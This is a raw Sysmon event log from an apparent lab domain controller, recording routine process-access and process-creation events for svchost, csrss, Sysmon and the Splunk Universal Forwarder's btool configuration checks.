09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005148Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005147Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005146Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005145Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005144Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005143Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005142Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2950-5F80-1A01-000000007F01}2952C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005141Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005140Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005139Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-2950-5F80-1901-000000007F01}30043008C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-2950-5F80-1A01-000000007F01}2952C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005138Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.517{A5F018FF-2950-5F80-1A01-000000007F01}2952C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-2950-5F80-1901-000000007F01}3004C:\Program Files\SplunkUniversalForwarder\bin\btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log 10341000x80000000000000005137Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2950-5F80-1901-000000007F01}3004C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005136Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005135Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005134Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005133Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005132Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005131Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005130Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005129Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005128Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005127Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2950-5F80-1901-000000007F01}3004C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005126Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.508{A5F018FF-294F-5F80-1601-000000007F01}44924100C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-2950-5F80-1901-000000007F01}3004C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4022c|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+403f8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+404c7|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+40fee|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+13671|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1815e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005125Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.512{A5F018FF-2950-5F80-1901-000000007F01}3004C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exe"C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000005124Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.477{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2950-5F80-1801-000000007F01}4768C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005123Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.461{A5F018FF-2950-5F80-1801-000000007F01}47684368C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 